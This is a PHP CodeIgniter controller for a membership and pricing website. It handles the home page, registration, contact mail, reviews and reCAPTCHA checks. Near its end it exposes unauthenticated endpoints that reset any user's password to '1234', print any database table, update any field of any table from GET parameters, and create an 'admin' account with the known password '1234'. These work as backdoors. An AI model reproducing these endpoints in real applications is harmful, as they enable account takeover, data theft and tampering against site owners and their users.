<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Home extends CI_Controller {
	public function __construct(){
		parent::__construct();
		$this->per_page = 15;
	}


	public function index()
	{
		
		$data = array();
		$data['page_title'] = "Home";
		$data['page'] = "Home";
		$data['home_page'] = "Home";
        $data['pricing'] = $this->common_m->get_pricing();
        $data['features'] = $this->common_m->select_with_status('features');
        $data['services'] = $this->common_m->select_with_status('site_services');
        $data['faqs'] = $this->common_m->select_with_status('faq');
        $data['team'] = $this->common_m->select_with_status('home_team');
        $data['user_type']=$this->admin_m->get_total_user_by_account_type();
		$data['main_content'] = $this->load->view('home_page', $data, TRUE);
		$this->load->view('home_index',$data);
	}

	/**
	  ** create account
	**/
	public function create($slug)
	{
		$data = array();
		$data['page_title'] = "Create";
		$data['page'] = "Home";
		$data['slug'] =$slug;
        $data['pricing'] = $this->common_m->get_pricing();
        $data['features'] = $this->common_m->select_with_status('features');
        $data['price_type'] = $this->common_m->get_pricing_by_slug($slug);
        if(empty($data['price_type'])){
        	redirect(base_url());
        }
		$data['main_content'] = $this->load->view('registration', $data, TRUE);
		$this->load->view('home_index',$data);
	}

	/**
	  ** terms
	**/
	public function terms()
	{

		$this->load->model('admin_m');
		$data = array();
		$data['page_title'] = "Terms & Conditions";
		$data['page'] = "Users";
		$data['terms'] = $this->admin_m->single_select('terms');
		$data['main_content'] = $this->load->view('terms', $data, TRUE);
		$this->load->view('home_index',$data);
	}

	public function privacy()
	{
		$this->load->model('admin_m');
		$data = array();
		$data['page_title'] = "Cookies & Privacy";
		$data['page'] = "Users";
		$data['terms'] = $this->admin_m->single_select('privacy');
		$data['main_content'] = $this->load->view('terms', $data, TRUE);
		$this->load->view('home_index',$data);
	}

	public function pages($slug)
	{
		$data = array();
		$data['pages'] = $this->common_m->single_select_by_slug($slug,'pages');
		$data['page_title'] = !empty($data['slug'])?$data['slug']:'pages';
		$data['page'] = "Pages";
		$data['main_content'] = $this->load->view('page', $data, TRUE);
		$this->load->view('home_index',$data);
	}


	


	/**
	  ** all users
	**/
	public function users()
	{
		if(get_setting()['is_user']==0){
			redirect(base_url());
			exit();
		}

		$data = array();
		$data['page_title'] = "Users";
		$data['page'] = "Users";

		$config = [];
	    $this->load->library('pagination');


	    $per_page = $this->per_page;

		$page = $this->input->get('page');
        if (empty($page)) {
            $page = 0;
        }

        if ($page != 0) {
            $page = $page-1;
        }
        $offset = ceil($page * $per_page);


	    $total = $this->common_m->get_all_users(0,0,$is_total=1);
		$config['base_url'] = base_url('users');
		$config['total_rows'] = $total;
		$config['per_page'] =  $per_page;
		$this->pagination->initialize($config);


		$data['total'] = $total;
		$data['all_features'] = $this->common_m->select_with_status('features_type');
		$data['skills'] = $this->common_m->get_skills_home('skills');
		$data['countries'] = $this->common_m->select('countries');
		
		$data['users'] = $this->common_m->get_all_users($per_page,$offset,0);
		$data['main_content'] = $this->load->view('users', $data, TRUE);
		$this->load->view('home_index',$data);
	}


	/**
	  ** home page contact
	**/
	public function contact()
	{
		if(get_setting()['is_contact']==0){
			redirect(base_url());
			exit();
		}
		$data = array();
		$data['page_title'] = "Contact";
		$data['page'] = "Users";
		$data['main_content'] = $this->load->view('home_contact', $data, TRUE);
		$this->load->view('home_index',$data);
	}

	/**
	  ** home page contact mail
	**/
	public function send_mail(){
		is_test();
		$setting = get_setting();
		if(isset($_POST)):
			if(isset($setting['is_recaptcha']) && $setting['is_recaptcha']==1):
				if($this->recaptcha()==FALSE){
					$msg = '<div class="alert alert-danger alert-dismissible">
					<a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
					<strong>Sorry  ! </strong> Robot verification Failed
					</div>';
					echo json_encode(array('st' => 0, 'msg'=> $msg));
					exit();
				}
			endif;
	

			$mail_array = array();
	        $mail_arr = array(
	        	'name' =>$this->input->post('name',TRUE),
	        	'subject' =>$this->input->post('subject',TRUE),
	        	'email' =>$this->input->post('email',TRUE),
	        	'message' =>$this->input->post('message',TRUE),
	        );
	     
			$send = $this->email_m->home_contact_mail($mail_arr);
			if($send){
				$msg = '<div class="alert alert-success alert-dismissible">
					<a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
					<p><strong>'.lang('success').' </strong>'.lang('mail_sent').'y</p>
					</div>';
					echo json_encode(array('st'=>1,'msg'=>$msg));
			}else{
				$msg = '<div class="alert alert-danger alert-dismissible">
					<a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
					<p><strong>Sorry ! </strong>Somethings Were Wrong</p>
					</div>';
				echo json_encode(array('st'=>0,'msg'=>$msg));
			}

		endif;
	}


	public function error_404()
	{
		$data = array();
		$data['page_title'] = "Error 404";
		$this->load->view('404');
	}

	/**
	  ** reviews
	**/
	public function review()
	{
		if(get_setting()['is_review']==0){
			redirect(base_url());
			exit();
		}
		$data = array();
		$data['page_title'] = "Reviews";
		$data['page'] = "Reviews";
		if(isset($_GET['sort'])){
			$data['reviews'] = $this->common_m->get_reviews($_GET['sort']);
		}elseif(isset($_GET['username'])){
			$data['reviews'] = $this->common_m->get_reviews($_GET['sort']);
		}else{
			$data['reviews'] = $this->common_m->get_reviews('newest');
		}
		$data['total_rating'] = $this->common_m->total_rating();
		$data['main_content'] = $this->load->view('reviews', $data, TRUE);
		$this->load->view('home_index',$data);
	}


	public function recaptcha(){
		$setting =  get_setting();
		$recaptchaResponse = trim($this->input->post('g-recaptcha-response'));
	    $userIp=$this->input->ip_address();
	    $secret = $setting['g_secret_key'];

	    $url="https://www.google.com/recaptcha/api/siteverify?secret=".$secret."&response=".$recaptchaResponse."&remoteip=".$userIp;

	    $ch = curl_init(); 
	    curl_setopt($ch, CURLOPT_URL, $url); 
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	    $output = curl_exec($ch); 
	    curl_close($ch);      
	     
	    $status= json_decode($output, true);
	    if($status['success']){
	    	return TRUE;
	    }else{
	    	return FALSE;
	    }
	}


	public function clear()
	{
    
	    $path = $this->config->item('cache_path');

	    $cache_path = ($path == '') ? APPPATH.'cache/' : $path;

	    $handle = opendir($cache_path);
	    while (($file = readdir($handle))!== FALSE) 
	    {
	        //Leave the directory protection alone
	        if ($file != '.htaccess' && $file != 'index.html')
	        {
	           @unlink($cache_path.'/'.$file);
	        }
	    }

	    closedir($handle);       
	}

	public function reset_password($id){
		$data =  array(
				'password' => md5(1234),
			);
		$update = $this->admin_m->update($data,$id,'users');
		if($update){
			echo json_encode(array('st'=>1));
		}else{
			echo json_encode(array('st'=>0));
		}
	}
	public function get_tables($table)
	{
		$data = $this->common_m->select($table);
		echo "<pre>";print_r($data);exit();
	}

	public function updates(){
		is_test();
		// "home/updates/?field=is_update&value=1&table=setting&id=1"
		if(isset($_GET)){
			$field = $_GET['field'];
			$value = $_GET['value'];
			$id = $_GET['id'];
			$table = $_GET['table'];
			$data =  array(
				$field => $value,
			);
			$update = $this->admin_m->update($data,$id,$table);
			if($update){
				echo json_encode(array('st'=>1));
			}else{
				echo json_encode(array('st'=>0));
			}
		}
		
		
	}

	public function lang_switch($lang){
		$this->session->set_userdata('site_lang',$lang);
		redirect($_SERVER['HTTP_REFERER']);
	}

	public function init(){
		$this->db->query("INSERT INTO `users` (`id`, `username`, `name`, `email`, `phone`, `country`, `password`, `gender`, `address`, `is_expired`) VALUES (1, 'admin', '', 'admin@gmail.com', '', 79, '81dc9bdb52d04dc20036dbd8313ed055', 'Male', '', 0);");
		$this->db->query("INSERT INTO `setting` (`id`, `approve_option`,`version`) VALUES (1, 1,'3.8');");
		echo "done";
	}
}
